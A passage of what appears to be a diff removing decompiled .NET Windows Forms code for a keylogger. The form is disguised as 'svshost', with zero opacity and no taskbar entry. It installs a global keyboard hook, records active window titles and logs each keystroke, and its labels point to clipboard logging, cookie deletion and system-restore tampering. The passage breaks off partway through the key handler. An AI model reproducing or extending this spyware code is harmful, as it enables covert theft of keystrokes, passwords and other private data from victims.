287); - Point point35 = point1; - label30_1.Location = point35; - this.Label30.Name = "Label30"; - Label label30_2 = this.Label30; - size1 = new Size(79, 13); - Size size35 = size1; - label30_2.Size = size35; - this.Label30.TabIndex = 156; - this.Label30.Text = "clipboardlogger"; - this.Label31.AutoSize = true; - Label label31_1 = this.Label31; - point1 = new Point(423, 313); - Point point36 = point1; - label31_1.Location = point36; - this.Label31.Name = "Label31"; - Label label31_2 = this.Label31; - size1 = new Size(79, 13); - Size size36 = size1; - label31_2.Size = size36; - this.Label31.TabIndex = 157; - this.Label31.Text = "deletecoockies"; - this.Label32.AutoSize = true; - Label label32_1 = this.Label32; - point1 = new Point(438, 333); - Point point37 = point1; - label32_1.Location = point37; - this.Label32.Name = "Label32"; - Label label32_2 = this.Label32; - size1 = new Size(39, 13); - Size size37 = size1; - label32_2.Size = size37; - this.Label32.TabIndex = 158; - this.Label32.Text = "cpanel"; - this.Label33.AutoSize = true; - Label label33_1 = this.Label33; - point1 = new Point(432, 379); - Point point38 = point1; - label33_1.Location = point38; - this.Label33.Name = "Label33"; - Label label33_2 = this.Label33; - size1 = new Size(54, 13); - Size size38 = size1; - label33_2.Size = size38; - this.Label33.TabIndex = 159; - this.Label33.Text = "sysrestore"; - TextBox textBox5_1 = this.TextBox5; - point1 = new Point(466, 15); - Point point39 = point1; - textBox5_1.Location = point39; - this.TextBox5.Multiline = true; - this.TextBox5.Name = "TextBox5"; - this.TextBox5.ScrollBars = ScrollBars.Horizontal; - TextBox textBox5_2 = this.TextBox5; - size1 = new Size(182, 73); - Size size39 = size1; - textBox5_2.Size = size39; - this.TextBox5.TabIndex = 160; - this.Timer1.Interval = 2; - this.Label34.AutoSize = true; - Label label34_1 = this.Label34; - point1 = new Point(430, 408); - Point point40 = point1; - label34_1.Location = point40; - this.Label34.Name = "Label34"; - Label label34_2 = this.Label34; - size1 = new Size(47, 13); - Size size40 = size1; - label34_2.Size = size40; - this.Label34.TabIndex = 161; - this.Label34.Text = "sername"; - TextBox textBox6_1 = this.TextBox6; - point1 = new Point(308, 112); - Point point41 = point1; - textBox6_1.Location = point41; - this.TextBox6.Multiline = true; - this.TextBox6.Name = "TextBox6"; - this.TextBox6.ScrollBars = ScrollBars.Vertical; - TextBox textBox6_2 = this.TextBox6; - size1 = new Size(171, 79); - Size size41 = size1; - textBox6_2.Size = size41; - this.TextBox6.TabIndex = 162; - TextBox textBox7_1 = this.TextBox7; - point1 = new Point(487, 94); - Point point42 = point1; - textBox7_1.Location = point42; - this.TextBox7.Multiline = true; - this.TextBox7.Name = "TextBox7"; - this.TextBox7.ScrollBars = ScrollBars.Vertical; - TextBox textBox7_2 = this.TextBox7; - size1 = new Size(119, 86); - Size size42 = size1; - textBox7_2.Size = size42; - this.TextBox7.TabIndex = 163; - TextBox textBox8_1 = this.TextBox8; - point1 = new Point(638, 94); - Point point43 = point1; - textBox8_1.Location = point43; - this.TextBox8.Multiline = true; - this.TextBox8.Name = "TextBox8"; - this.TextBox8.ScrollBars = ScrollBars.Vertical; - TextBox textBox8_2 = this.TextBox8; - size1 = new Size(100, 86); - Size size43 = size1; - textBox8_2.Size = size43; - this.TextBox8.TabIndex = 164; - TextBox textBox9_1 = this.TextBox9; - point1 = new Point(508, 217); - Point point44 = point1; - textBox9_1.Location = point44; - this.TextBox9.Multiline = true; - this.TextBox9.Name = "TextBox9"; - this.TextBox9.ScrollBars = ScrollBars.Vertical; - TextBox textBox9_2 = this.TextBox9; - size1 = new Size(261, 129); - Size size44 = size1; - textBox9_2.Size = size44; - this.TextBox9.TabIndex = 165; - TextBox textBox10_1 = this.TextBox10; - point1 = new Point(508, 368); - Point point45 = point1; - textBox10_1.Location = point45; - this.TextBox10.Multiline = true; - this.TextBox10.Name = "TextBox10"; - TextBox textBox10_2 = this.TextBox10; - size1 = new Size(284, 106); - Size size45 = size1; - textBox10_2.Size = size45; - this.TextBox10.TabIndex = 166; - this.Label36.AutoSize = true; - this.Label36.Font = new Font("Microsoft Sans Serif", 8.25f); - Label label36_1 = this.Label36; - point1 = new Point(247, 128); - Point point46 = point1; - label36_1.Location = point46; - this.Label36.Name = "Label36"; - Label label36_2 = this.Label36; - size1 = new Size(59, 13); - Size size46 = size1; - label36_2.Size = size46; - this.Label36.TabIndex = 172; - this.Label36.Text = "overallpath"; - this.Label35.AutoSize = true; - this.Label35.Font = new Font("Microsoft Sans Serif", 24f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.Label35.ForeColor = System.Drawing.Color.Red; - Label label35_1 = this.Label35; - point1 = new Point(685, 42); - Point point47 = point1; - label35_1.Location = point47; - this.Label35.Name = "Label35"; - Label label35_2 = this.Label35; - size1 = new Size(35, 37); - Size size47 = size1; - label35_2.Size = size47; - this.Label35.TabIndex = 171; - this.Label35.Text = "0"; - this.lblNumb.AutoSize = true; - this.lblNumb.Font = new Font("Tahoma", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblNumb.ForeColor = System.Drawing.Color.Blue; - Label lblNumb1 = this.lblNumb; - point1 = new Point(400, 256); - Point point48 = point1; - lblNumb1.Location = point48; - this.lblNumb.Name = "lblNumb"; - Label lblNumb2 = this.lblNumb; - size1 = new Size(14, 13); - Size size48 = size1; - lblNumb2.Size = size48; - this.lblNumb.TabIndex = 173; - this.lblNumb.Text = "0"; - TextBox textBox11_1 = this.TextBox11; - point1 = new Point(767, 15); - Point point49 = point1; - textBox11_1.Location = point49; - this.TextBox11.Multiline = true; - this.TextBox11.Name = "TextBox11"; - TextBox textBox11_2 = this.TextBox11; - size1 = new Size(100, 88); - Size size49 = size1; - textBox11_2.Size = size49; - this.TextBox11.TabIndex = 174; - TextBox textBox12_1 = this.TextBox12; - point1 = new Point(321, 207); - Point point50 = point1; - textBox12_1.Location = point50; - this.TextBox12.Multiline = true; - this.TextBox12.Name = "TextBox12"; - this.TextBox12.ScrollBars = ScrollBars.Vertical; - TextBox textBox12_2 = this.TextBox12; - size1 = new Size(244, 95); - Size size50 = size1; - textBox12_2.Size = size50; - this.TextBox12.TabIndex = 175; - this.Label37.AutoSize = true; - this.Label37.ForeColor = System.Drawing.Color.Red; - Label label37_1 = this.Label37; - point1 = new Point(318, 205); - Point point51 = point1; - label37_1.Location = point51; - this.Label37.Name = "Label37"; - Label label37_2 = this.Label37; - size1 = new Size(45, 13); - Size size51 = size1; - label37_2.Size = size51; - this.Label37.TabIndex = 176; - this.Label37.Text = "Label37"; - this.ListBox1.FormattingEnabled = true; - ListBox listBox1_1 = this.ListBox1; - point1 = new Point(948, 8); - Point point52 = point1; - listBox1_1.Location = point52; - this.ListBox1.Name = "ListBox1"; - ListBox listBox1_2 = this.ListBox1; - size1 = new Size(81, 43); - Size size52 = size1; - listBox1_2.Size = size52; - this.ListBox1.TabIndex = 177; - TextBox textBox13_1 = this.TextBox13; - point1 = new Point(891, 57); - Point point53 = point1; - textBox13_1.Location = point53; - this.TextBox13.Multiline = true; - this.TextBox13.Name = "TextBox13"; - TextBox textBox13_2 = this.TextBox13; - size1 = new Size(100, 44); - Size size53 = size1; - textBox13_2.Size = size53; - this.TextBox13.TabIndex = 179; - this.Label39.AutoSize = true; - Label label39_1 = this.Label39; - point1 = new Point(635, 23); - Point point54 = point1; - label39_1.Location = point54; - this.Label39.Name = "Label39"; - Label label39_2 = this.Label39; - size1 = new Size(45, 13); - Size size54 = size1; - label39_2.Size = size54; - this.Label39.TabIndex = 181; - this.Label39.Text = "Label39"; - this.Label38.AutoSize = true; - Label label38_1 = this.Label38; - point1 = new Point(716, 8); - Point point55 = point1; - label38_1.Location = point55; - this.Label38.Name = "Label38"; - Label label38_2 = this.Label38; - size1 = new Size(45, 13); - Size size55 = size1; - label38_2.Size = size55; - this.Label38.TabIndex = 180; - this.Label38.Text = "Label38"; - this.Label40.AutoSize = true; - Label label40_1 = this.Label40; - point1 = new Point(635, 183); - Point point56 = point1; - label40_1.Location = point56; - this.Label40.Name = "Label40"; - Label label40_2 = this.Label40; - size1 = new Size(45, 13); - Size size56 = size1; - label40_2.Size = size56; - this.Label40.TabIndex = 182; - this.Label40.Text = "Label40"; - this.Label41.AutoSize = true; - Label label41_1 = this.Label41; - point1 = new Point(70, 88); - Point point57 = point1; - label41_1.Location = point57; - this.Label41.Name = "Label41"; - Label label41_2 = this.Label41; - size1 = new Size(45, 13); - Size size57 = size1; - label41_2.Size = size57; - this.Label41.TabIndex = 183; - this.Label41.Text = "Label41"; - this.Timer7.Interval = 1; - TextBox textBox14_1 = this.TextBox14; - point1 = new Point(483, 112); - Point point58 = point1; - textBox14_1.Location = point58; - this.TextBox14.Multiline = true; - this.TextBox14.Name = "TextBox14"; - TextBox textBox14_2 = this.TextBox14; - size1 = new Size(359, 188); - Size size58 = size1; - textBox14_2.Size = size58; - this.TextBox14.TabIndex = 184; - TextBox textBox15_1 = this.TextBox15; - point1 = new Point(359, 148); - Point point59 = point1; - textBox15_1.Location = point59; - this.TextBox15.Multiline = true; - this.TextBox15.Name = "TextBox15"; - TextBox textBox15_2 = this.TextBox15; - size1 = new Size(257, 192); - Size size59 = size1; - textBox15_2.Size = size59; - this.TextBox15.TabIndex = 185; - TextBox textBox16_1 = this.TextBox16; - point1 = new Point(286, 154); - Point point60 = point1; - textBox16_1.Location = point60; - this.TextBox16.Multiline = true; - this.TextBox16.Name = "TextBox16"; - TextBox textBox16_2 = this.TextBox16; - size1 = new Size(483, 267); - Size size60 = size1; - textBox16_2.Size = size60; - this.TextBox16.TabIndex = 185; - TextBox textBox17_1 = this.TextBox17; - point1 = new Point(565, 112); - Point point61 = point1; - textBox17_1.Location = point61; - this.TextBox17.Multiline = true; - this.TextBox17.Name = "TextBox17"; - TextBox textBox17_2 = this.TextBox17; - size1 = new Size(162, 180); - Size size61 = size1; - textBox17_2.Size = size61; - this.TextBox17.TabIndex = 186; - this.Label42.AutoSize = true; - Label label42_1 = this.Label42; - point1 = new Point(114, 272); - Point point62 = point1; - label42_1.Location = point62; - this.Label42.Name = "Label42"; - Label label42_2 = this.Label42; - size1 = new Size(45, 13); - Size size62 = size1; - label42_2.Size = size62; - this.Label42.TabIndex = 187; - this.Label42.Text = "Label42"; - TextBox textBox18_1 = this.TextBox18; - point1 = new Point(144, 320); - Point point63 = point1; - textBox18_1.Location = point63; - this.TextBox18.Name = "TextBox18"; - TextBox textBox18_2 = this.TextBox18; - size1 = new Size(100, 20); - Size size63 = size1; - textBox18_2.Size = size63; - this.TextBox18.TabIndex = 190; - TextBox textBox19_1 = this.TextBox19; - point1 = new Point(117, 360); - Point point64 = point1; - textBox19_1.Location = point64; - this.TextBox19.Name = "TextBox19"; - TextBox textBox19_2 = this.TextBox19; - size1 = new Size(100, 20); - Size size64 = size1; - textBox19_2.Size = size64; - this.TextBox19.TabIndex = 191; - TextBox textBox20_1 = this.TextBox20; - point1 = new Point(117, 391); - Point point65 = point1; - textBox20_1.Location = point65; - this.TextBox20.Name = "TextBox20"; - TextBox textBox20_2 = this.TextBox20; - size1 = new Size(100, 20); - Size size65 = size1; - textBox20_2.Size = size65; - this.TextBox20.TabIndex = 192; - this.TextBox20.Text = "stop"; - this.Label43.AutoSize = true; - Label label43_1 = this.Label43; - point1 = new Point(22, 252); - Point point66 = point1; - label43_1.Location = point66; - this.Label43.Name = "Label43"; - Label label43_2 = this.Label43; - size1 = new Size(45, 13); - Size size66 = size1; - label43_2.Size = size66; - this.Label43.TabIndex = 193; - this.Label43.Text = "Label43"; - this.Label44.AutoSize = true; - Label label44_1 = this.Label44; - point1 = new Point(13, 286); - Point point67 = point1; - label44_1.Location = point67; - this.Label44.Name = "Label44"; - Label label44_2 = this.Label44; - size1 = new Size(45, 13); - Size size67 = size1; - label44_2.Size = size67; - this.Label44.TabIndex = 194; - this.Label44.Text = "Label44"; - this.Label45.AutoSize = true; - Label label45_1 = this.Label45; - point1 = new Point(13, 313); - Point point68 = point1; - label45_1.Location = point68; - this.Label45.Name = "Label45"; - Label label45_2 = this.Label45; - size1 = new Size(45, 13); - Size size68 = size1; - label45_2.Size = size68; - this.Label45.TabIndex = 195; - this.Label45.Text = "Label45"; - this.Label46.AutoSize = true; - Label label46_1 = this.Label46; - point1 = new Point(22, 358); - Point point69 = point1; - label46_1.Location = point69; - this.Label46.Name = "Label46"; - Label label46_2 = this.Label46; - size1 = new Size(45, 13); - Size size69 = size1; - label46_2.Size = size69; - this.Label46.TabIndex = 196; - this.Label46.Text = "Label46"; - this.Label47.AutoSize = true; - Label label47_1 = this.Label47; - point1 = new Point(13, 397); - Point point70 = point1; - label47_1.Location = point70; - this.Label47.Name = "Label47"; - Label label47_2 = this.Label47; - size1 = new Size(45, 13); - Size size70 = size1; - label47_2.Size = size70; - this.Label47.TabIndex = 197; - this.Label47.Text = "Label47"; - this.Label48.AutoSize = true; - Label label48_1 = this.Label48; - point1 = new Point(22, 416); - Point point71 = point1; - label48_1.Location = point71; - this.Label48.Name = "Label48"; - Label label48_2 = this.Label48; - size1 = new Size(45, 13); - Size size71 = size1; - label48_2.Size = size71; - this.Label48.TabIndex = 198; - this.Label48.Text = "Label48"; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(865, 485); - this.ClientSize = size1; - this.Controls.Add((Control) this.Label48); - this.Controls.Add((Control) this.Label47); - this.Controls.Add((Control) this.Label46); - this.Controls.Add((Control) this.Label45); - this.Controls.Add((Control) this.Label44); - this.Controls.Add((Control) this.Label43); - this.Controls.Add((Control) this.TextBox20); - this.Controls.Add((Control) this.TextBox19); - this.Controls.Add((Control) this.TextBox18); - this.Controls.Add((Control) this.Label42); - this.Controls.Add((Control) this.TextBox17); - this.Controls.Add((Control) this.TextBox16); - this.Controls.Add((Control) this.TextBox15); - this.Controls.Add((Control) this.TextBox14); - this.Controls.Add((Control) this.Label41); - this.Controls.Add((Control) this.Label40); - this.Controls.Add((Control) this.Label39); - this.Controls.Add((Control) this.Label38); - this.Controls.Add((Control) this.TextBox13); - this.Controls.Add((Control) this.ListBox1); - this.Controls.Add((Control) this.Label37); - this.Controls.Add((Control) this.TextBox11); - this.Controls.Add((Control) this.lblNumb); - this.Controls.Add((Control) this.Label36); - this.Controls.Add((Control) this.Label35); - this.Controls.Add((Control) this.TextBox10); - this.Controls.Add((Control) this.TextBox9); - this.Controls.Add((Control) this.TextBox8); - this.Controls.Add((Control) this.TextBox7); - this.Controls.Add((Control) this.TextBox6); - this.Controls.Add((Control) this.Label34); - this.Controls.Add((Control) this.TextBox5); - this.Controls.Add((Control) this.Label33); - this.Controls.Add((Control) this.Label32); - this.Controls.Add((Control) this.Label31); - this.Controls.Add((Control) this.Label30); - this.Controls.Add((Control) this.Label29); - this.Controls.Add((Control) this.Label28); - this.Controls.Add((Control) this.Label27); - this.Controls.Add((Control) this.Label26); - this.Controls.Add((Control) this.Label25); - this.Controls.Add((Control) this.Label24); - this.Controls.Add((Control) this.Label23); - this.Controls.Add((Control) this.Label22); - this.Controls.Add((Control) this.Label21); - this.Controls.Add((Control) this.Label20); - this.Controls.Add((Control) this.Label19); - this.Controls.Add((Control) this.Label18); - this.Controls.Add((Control) this.Label17); - this.Controls.Add((Control) this.Label16); - this.Controls.Add((Control) this.Label15); - this.Controls.Add((Control) this.Label14); - this.Controls.Add((Control) this.Label13); - this.Controls.Add((Control) this.Label12); - this.Controls.Add((Control) this.Label11); - this.Controls.Add((Control) this.Label10); - this.Controls.Add((Control) this.Label9); - this.Controls.Add((Control) this.Label8); - this.Controls.Add((Control) this.Label7); - this.Controls.Add((Control) this.Label6); - this.Controls.Add((Control) this.Label5); - this.Controls.Add((Control) this.Label4); - this.Controls.Add((Control) this.Label3); - this.Controls.Add((Control) this.Label2); - this.Controls.Add((Control) this.Label1); - this.Controls.Add((Control) this.TextBox4); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.TextBox2); - this.Controls.Add((Control) this.TextBox1); - this.Controls.Add((Control) this.TextBox12); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.Text = "svshost"; - this.WindowState = FormWindowState.Minimized; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox TextBox4 - { - get => this._TextBox4; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value; - } - - internal virtual TextBox TextBox3 - { - get => this._TextBox3; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value; - } - - internal virtual TextBox TextBox2 - { - get => this._TextBox2; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value; - } - - internal virtual TextBox TextBox1 - { - get => this._TextBox1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual Label Label1 - { - get => this._Label1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual Label Label2 - { - get => this._Label2; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; - } - - internal virtual Label Label3 - { - get => this._Label3; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value; - } - - internal virtual Label Label4 - { - get => this._Label4; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value; - } - - internal virtual Label Label5 - { - get => this._Label5; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value; - } - - internal virtual Label Label6 - { - get => this._Label6; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value; - } - - internal virtual Label Label7 - { - get => this._Label7; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value; - } - - internal virtual Label Label8 - { - get => this._Label8; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value; - } - - internal virtual Label Label9 - { - get => this._Label9; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label9 = value; - } - - internal virtual Label Label10 - { - get => this._Label10; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label10 = value; - } - - internal virtual Label Label11 - { - get => this._Label11; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label11 = value; - } - - internal virtual Label Label12 - { - get => this._Label12; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label12 = value; - } - - internal virtual Label Label13 - { - get => this._Label13; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label13 = value; - } - - internal virtual Label Label14 - { - get => this._Label14; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Label14_Click); - if (this._Label14 != null) - this._Label14.Click -= eventHandler; - this._Label14 = value; - if (this._Label14 == null) - return; - this._Label14.Click += eventHandler; - } - } - - internal virtual Label Label15 - { - get => this._Label15; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label15 = value; - } - - internal virtual Label Label16 - { - get => this._Label16; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label16 = value; - } - - internal virtual Label Label17 - { - get => this._Label17; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label17 = value; - } - - internal virtual Label Label18 - { - get => this._Label18; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label18 = value; - } - - internal virtual Label Label19 - { - get => this._Label19; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label19 = value; - } - - internal virtual Label Label20 - { - get => this._Label20; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label20 = value; - } - - internal virtual Label Label21 - { - get => this._Label21; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label21 = value; - } - - internal virtual Label Label22 - { - get => this._Label22; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label22 = value; - } - - internal virtual Label Label23 - { - get => this._Label23; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label23 = value; - } - - internal virtual Label Label24 - { - get => this._Label24; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label24 = value; - } - - internal virtual Label Label25 - { - get => this._Label25; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label25 = value; - } - - internal virtual Label Label26 - { - get => this._Label26; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label26 = value; - } - - internal virtual Label Label27 - { - get => this._Label27; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label27 = value; - } - - internal virtual Label Label28 - { - get => this._Label28; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label28 = value; - } - - internal virtual Label Label29 - { - get => this._Label29; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label29 = value; - } - - internal virtual Label Label30 - { - get => this._Label30; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label30 = value; - } - - internal virtual Label Label31 - { - get => this._Label31; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label31 = value; - } - - internal virtual Label Label32 - { - get => this._Label32; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label32 = value; - } - - internal virtual Label Label33 - { - get => this._Label33; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label33 = value; - } - - internal virtual TextBox TextBox5 - { - get => this._TextBox5; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox5 = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - get => this._Timer2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - get => this._Timer3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - internal virtual Label Label34 - { - get => this._Label34; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label34 = value; - } - - internal virtual TextBox TextBox6 - { - get => this._TextBox6; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox6 = value; - } - - internal virtual TextBox TextBox7 - { - get => this._TextBox7; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox7 = value; - } - - internal virtual TextBox TextBox8 - { - get => this._TextBox8; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox8 = value; - } - - internal virtual TextBox TextBox9 - { - get => this._TextBox9; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox9 = value; - } - - internal virtual TextBox TextBox10 - { - get => this._TextBox10; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox10 = value; - } - - internal virtual Label Label36 - { - get => this._Label36; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label36 = value; - } - - internal virtual Label Label35 - { - get => this._Label35; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label35 = value; - } - - internal virtual Label lblNumb - { - get => this._lblNumb; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._lblNumb = value; - } - - internal virtual TextBox TextBox11 - { - get => this._TextBox11; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox11 = value; - } - - internal virtual TextBox TextBox12 - { - get => this._TextBox12; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox12 = value; - } - - internal virtual Label Label37 - { - get => this._Label37; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label37 = value; - } - - internal virtual ListBox ListBox1 - { - get => this._ListBox1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._ListBox1 = value; - } - - internal virtual System.Windows.Forms.Timer Timer5 - { - get => this._Timer5; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer5_Tick); - if (this._Timer5 != null) - this._Timer5.Tick -= eventHandler; - this._Timer5 = value; - if (this._Timer5 == null) - return; - this._Timer5.Tick += eventHandler; - } - } - - internal virtual TextBox TextBox13 - { - get => this._TextBox13; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox13 = value; - } - - internal virtual Label Label39 - { - get => this._Label39; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label39 = value; - } - - internal virtual Label Label38 - { - get => this._Label38; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label38 = value; - } - - internal virtual Label Label40 - { - get => this._Label40; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label40 = value; - } - - internal virtual Label Label41 - { - get => this._Label41; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label41 = value; - } - - internal virtual System.Windows.Forms.Timer Timer4 - { - get => this._Timer4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer4_Tick); - if (this._Timer4 != null) - this._Timer4.Tick -= eventHandler; - this._Timer4 = value; - if (this._Timer4 == null) - return; - this._Timer4.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer6 - { - get => this._Timer6; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer6_Tick); - if (this._Timer6 != null) - this._Timer6.Tick -= eventHandler; - this._Timer6 = value; - if (this._Timer6 == null) - return; - this._Timer6.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer7 - { - get => this._Timer7; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer7_Tick); - if (this._Timer7 != null) - this._Timer7.Tick -= eventHandler; - this._Timer7 = value; - if (this._Timer7 == null) - return; - this._Timer7.Tick += eventHandler; - } - } - - internal virtual TextBox TextBox14 - { - get => this._TextBox14; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox14 = value; - } - - internal virtual TextBox TextBox15 - { - get => this._TextBox15; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox15 = value; - } - - internal virtual TextBox TextBox16 - { - get => this._TextBox16; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox16 = value; - } - - internal virtual TextBox TextBox17 - { - get => this._TextBox17; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox17 = value; - } - - internal virtual Label Label42 - { - get => this._Label42; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label42 = value; - } - - internal virtual TextBox TextBox18 - { - get => this._TextBox18; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox18 = value; - } - - internal virtual TextBox TextBox19 - { - get => this._TextBox19; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox19 = value; - } - - internal virtual TextBox TextBox20 - { - get => this._TextBox20; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox20 = value; - } - - internal virtual Label Label43 - { - get => this._Label43; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label43 = value; - } - - internal virtual Label Label44 - { - get => this._Label44; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label44 = value; - } - - internal virtual Label Label45 - { - get => this._Label45; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label45 = value; - } - - internal virtual Label Label46 - { - get => this._Label46; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label46 = value; - } - - internal virtual Label Label47 - { - get => this._Label47; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label47 = value; - } - - internal virtual Label Label48 - { - get => this._Label48; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label48 = value; - } - - private virtual Form1.KeyboardHook kbHook - { - get => this._kbHook; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.shiftandcaps); - if (this._kbHook != null) - Form1.KeyboardHook.KeyDown -= downEventHandler; - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Microsoft.VisualBasic.Strings.InStr(lpString, "\0") - 1)); - } - - public void shiftandcaps(Keys Key) - { - if (!MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.D0: - 